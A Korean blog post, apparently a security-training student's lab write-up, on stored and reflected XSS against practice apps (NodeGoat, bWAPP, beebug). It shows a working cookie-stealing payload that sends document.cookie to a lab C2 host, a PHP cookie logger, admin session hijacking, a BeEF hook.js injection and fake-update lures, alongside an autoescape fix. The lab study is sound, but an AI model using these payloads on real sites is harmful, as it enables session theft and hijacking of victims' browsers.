| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
- 웹개발
- 루키즈31기
- 프리코스
- React
- 알고리즘
- 애플리케이션 계층
- 악성코드 분석
- 코리안챔버오케스트라
- 진입차수
- c
- linux
- Dreamhack
- Practical Malware Analysis Labs
- 트랜스포트 계층
- SK쉴더스
- 깃
- 서울청년문화패스
- sk 쉴더스 루키즈
- sk쉴더스 루키즈
- 루키즈 31기
- SK쉴더스루키즈
- 우아한테크코스
- 우테코
- 프랑스어 #프랑스어배우기 #프랑스어독학 #델프인강 #시원스쿨프랑스어 #delf독학 #델프 #프랑스어기초 #프랑스어공부
- 레나튜토리얼
- 백엔드
- webhacking
- 자바
- 위상 정렬
- 예술의 전당
- Today
- Total
yon11b
[SK 쉴더스 루키즈] XSS Injection 실습 (Stored XSS, Reflected XSS, BeEF-XSS) 본문
[SK 쉴더스 루키즈] XSS Injection 실습 (Stored XSS, Reflected XSS, BeEF-XSS)
yon11b 2026. 5. 7. 00:29NodeGoat: Stored XSS Injection 공격
'취약점이 있다'는 사실만 검증하는 실습
시나리오
회원가입 시 Last Name 칸에 script문을 넣는다.
<script>alert(document.cookie)</script>
기대
사용자 계정 정보를 불러올 때마다 해당 script문이 실행될 것이다.

시큐어 코딩
태그를 < > 로 변환하여 코드가 실행되지 못하도록 설정하기
autoescape: true

다시 로그인하면 스크립트가 실행이 안되고 그냥 문자열로 해석되는 것을 볼 수 있다.

사실 이건 공격자 서버로 보내는 것이 아니라 그냥 내가 로그인 하고 내 쿠키가 띄워지게 하는 것이기 때문에 실질적인 공격이 수행된 것은 아니다. 그냥 취약점이 존재한다. 를 보여주는 실습이다.
bWAPP: Stored XSS Injection 공격
공격 게시글을 방문하면 접속한 사용자의 쿠키가 C2 서버로 보내져서 최종적으로는 admin 권한을 취득하는 실습
환경
C2서버: metasploitable (192.168.10.20)
시나리오
1. C2서버로 쿠키 보내는 공격 코드 작성하기 (bWAPP)
2. GET으로 들어오는 쿠키 정보를 로그로 남긴다. (metasploitable C2 서버)
3. admin으로 로그인한 후 해당 게시글을 조회한다.
4. C2 서버에 들어온 admin 쿠키를 취득한다.
5. 일반 사용자로 로그인 한 후, 쿠키를 취득한 admin 쿠키로 바꿔 admin 권한을 취득한다.
1. C2서버로 쿠키 보내는 공격 코드 작성하기 (bWAPP)
글을 로드하는 즉시 사용자의 쿠키가 공격사이트(192.168.10.20/test.php)로 GET 방식으로 전달된다.
<img name='i' width='0' height='0'></img>
<script>i.src="http://192.168.10.20/test.php?cookie=" + document.cookie</script>
This is Test
이 코드를 게시판에 올린다.

2. GET으로 들어오는 쿠키 정보를 로그로 남긴다. (metasploitable C2 서버)
경로: /var/www/test.php
<?php
$fd = fopen("/tmp/xsstest.dat", "a+");
fputs($fd, $_SERVER["REMOTE_ADDR"] . " " . "Cookie=" . $_GET["cookie"] . "\n");
fclose($fd);
?>
XSS Test Site
작동 테스트


3. admin(Bee)으로 로그인한 후 해당 게시글을 조회한다.

4. C2 서버에 들어온 admin 쿠키를 취득한다.

5. 일반 사용자로 로그인 한 후, 쿠키를 취득한 admin 쿠키로 바꿔 admin 권한을 취득한다.

그리고 새로고침하면 내가 admin(bee)로 로그인된 것을 확인할 수 있다.

+ 로그파일에 들어가서 쿠키를 보는 것이 번거로우므로, 웹에서 볼수 있도록 파일에 소프트링크를 걸어준다.
sudo ln -s /tmp/xsstest.dat /var/www/xssdat.html

원격제어: beef-xss를 이용한 reflected XSS 공격
[피해자 브라우저]
↓ XSS로 hook.js 로드
[hook.js가 WebSocket/AJAX로 BeEF 서버에 계속 연결]
↓ 양방향 통신 채널 유지
[공격자가 BeEF 패널에서 명령 전송]
↓
[hook.js가 명령 수신 → 피해자 브라우저에서 실행 → 결과 반환]
1. beef-xss 서버 실행
이번에는 kali(192.168.10.10)에서 beef-xss를 돌렸다.

2. 공격 코드 게시글 올리기
<script src="http://192.168.10.10:3000/hook.js"></script>
이걸 beebug의 게시판에 업로드하면 해당 게시글을 조회한 사람들의 목록을 볼 수 있다.
사용자가 보고 있는 페이지에 대한 원격조종이 가능하다.
3. beef-xss 대시보드 접속
주소: 127.0.0.1:3000/ui/panel

kali(192.168.10.10)에서 192.168.10.128(beebug) 페이지에 접속하고 난 후 대시보드에 찍히는 모습이다.
4. Fake Flash Update 띄우기

우하단 Execute를 누르면, 실시간으로 사용자 화면에 Adobe Update 팝업창이 뜨게 된다.
여기서는 naver.com이 공격사이트라고 가정.

사용자가 Remind me later를 누르면, 공격자가 원하는대로 naver.com으로 리다이렉트된다.

실제 공격상황에서는 공격자가 만든 위조 사이트로 이동시키거나 adobe 설치 페이지랑 비슷하게 만들고 공격파일을 다운받게 하면 된다.
5. Fake Notifiacation Bar 띄우기


'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] Cryptographic Failures 취약점(TLS 통신, robots.txt) (0) | 2026.05.07 |
|---|---|
| [SK 쉴더스 루키즈] SQL Injection 실습 bWAPP (GET/Search, POST/Select 문제, webhacking.kr 27번 write up) (0) | 2026.05.07 |
| [SK 쉴더스 루키즈] 공급망 보안 취약점 (0) | 2026.05.01 |
| [SK 쉴더스 루키즈] [DVWA] 파일 업로드 취약점 실습 (0) | 2026.05.01 |
| [SK 쉴더스 루키즈] [CI/CD GOAT] Mad Hatter 문제 Write up (0) | 2026.04.30 |
